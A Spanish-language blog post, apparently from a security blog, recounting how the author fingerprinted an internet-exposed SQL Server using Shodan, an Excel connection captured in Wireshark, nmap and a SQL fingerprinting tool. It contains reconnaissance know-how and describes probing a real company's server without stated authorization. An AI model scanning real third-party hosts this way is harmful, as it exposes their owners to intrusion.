Yo solo espero que os hayáis entretenido con la historia al igual que yo me entretuve con la de Pablo González y el bar de copas que nos contó en "Cervezas, Cámara...¡Acción!" o la de Daniel Romero y su viaje que contó en la historia de "El blues (de la Wi-Fi) del autobús". Pentesters, siempre pensando en lo mismo... ¿Tienes tú alguna historia así? Deberías escribirla y enviársela a Chema Alonso para que la leamos todos, que siempre son entretenidas.

Autor: Deepak Daswani

El caso del fingerprinting al SQL Server TDS7 de Microsoft

Como sabéis, nuestra Foca As A Service by Telefonica (Faast) es uno de mis juguetes preferidos, así que siempre me paso revisando los resultados y haciendo de beta tester malo, malo, maligno de las nuevas versiones que el equipo de Faast va sacando. La historia que os cuento hoy lleva un tiempo detrás de mis orejas rondándome como una daemon en background, y esta mañana, aprovechando que el estrés me ha levantado a las 5 A. M. he vuelto a revisarla un poco más en detalle.

Figura 1: El "caso" del fingerprinting al SQL Server 7 de Microsoft

Como sabéis, yo suelo testear las ideas con empresas Hacking Friendly que cuando les reportas un bug te lo agradecen, así que Microsoft y Apple son dos de esas empresas en las que pruebo las ideas ya que su infraestructura expuesta en Internet es tan grande que suelen tener de casi todo. Además, cuando les he reportado algo, lo han corregido y han sido de lo más cordiales. 

La historia y la pregunta a responder

En este caso la historia comienza con el descubrimiento por parte de Faast de una dirección IP con un servidor Microsoft SQL Server expuesto a Internet que nuestro sistema detectó como un MS SQL Server 2012. 

Figura 2: Microsoft SQL Server 2012 descubierto por Faast

Como os podéis imaginar, a mí me llamó la atención que estuviera publicado con el puerto por defecto a Internet, además de que el sistema operativo diera que es un Kernel 6.1, así que quise revisar si esto era así o no, ya que las diferencias entre la arquitectura de seguridad de Windows son grandes entre cada versión. Para ello, primero me fui a Shodan y busqué en la dirección IP para ver si con una visión del hacking con buscadores podría contrastar esta información. La sorpresa es que Shodan no tenía asociado ningún servidor MS SQL Server a esta dirección IP. El misterio crecía.

Figura 3: Shodan no reconoce ningún motor de SQL Server en esa dirección IP

Tocaba hacer una comprobación manual. Salí el primero de la zona sur en el malignomóvil y me planté esta mañana a las 7.00 en las oficinas de Eleven Paths para acabar de responder a por qué en Faast aparecía y no así en Shodan. En la soledad de la oficina, aproveché para actualizar la versión de WireShark y de Microsoft Excel 2016 para probar el "truco" de sacar el nombre de un servidor MS SQL Server por medio del establecimiento de una conexión desde Excel.

Figura 4: Estableciendo una conexión a un motor SQL Server (sin credenciales válidas) desde Excel 2016

En las capturas de WireShark apareció un paquete distinto al esperado GSS-API, y sin esperarlo me topé con un paquete de TDS7 Pre-Login. La cosa se ponía más extraña aún, ya que los paquetes de Pre-login TDS7 son de la versión de SQL Server 7.0, que es el que utiliza Tabular Data Stream 7.

Figura 5: Mensaje capturado por WireShark en el establecimiento de la conexión a SQL Server desde Excel

Además de eso, como se puede ver en la captura, la configuración del servidor SQL Server no solo es con el puerto por defecto a Internet, sino que el cifrado de la conexión está deshabilitado por lo que se podrían hacer ataques de Network Packet Manipulation como ya vimos en MySQL Server.

Figura 6: Versiones de TDS asociadas a versiones de MS SQL Server

Ya tocaba hacer las últimas pruebas, así que manualmente probamos nmap con un fingerprinting contra el puerto, pero el servidor tiene filtrados los puertos contra los escaneos y no nos dio mucha información. 

Figura 7: Nmap detecta el puerto 1433 pero no la versión del servicio

Como última prueba, tocaba usar Exploit Next Generation SQL Fingerprint, una herramienta con tiempo pero que hace muchas pruebas para garantizar el fingerprinting de SQL Server, así que la buscamos, la localizamos y la probamos. El resultado es el que veis en la siguiente captura. Descubre el servidor SQL Server, pero no es capaz de dar la versión exacta, por lo que al final, el análisis manual con la conexión Excel y WireShark es lo que mejor ha funcionado.

Figura 8: Prueba de ESF contra la dirección del servidor SQL Server

¿Será un SQL Server 7 o un SQL Server 2012?

Llegados a este punto, había que documentarse a ver por qué Faast estaba reconociendo el SQL Server como 2012, así que fuimos a ver cómo hace nmap el filtro de detección de versión de SQL Server en detalle. La respuesta es curiosa. Microsoft SQL Server no hace disclosure de la minor version de TDS, así que hasta la versión Microsoft SQL Server 2014 se utiliza TDS 7 en el paquete de Prelogin. Lo que hace nmap y Faast es comprobar la firma del paquete. Para ello hay una pequeña base de datos que reconoce los paquetes de prelogin de todos los TDS7 y sabe si es un TDS 7.1, TDS 7.2, etcétera.

Figura 9: Volviendo a hacer la prueba con nmap tal y como la hace Faast obtenemos un SQL Server 2012

Al final, no ha sido más que responder una pregunta, y para ello ha habido que hacer pruebas, suposiciones y más verificaciones para descartar posibilidades, pero el resultado es una pequeña mejora en Faast que hará que el fingerprinting de los servidores SQL Server sea un poco más afinado aún. Por supuesto, un servidor SQL Server expuesto a Internet sin cifrado en la conexión no es lo más seguro que puede estar un motor de bases de datos. Me encanta este mundo en el que cada detalle cuenta y cada situación extraña genera un misterio a resolver.

Saludos Malignos!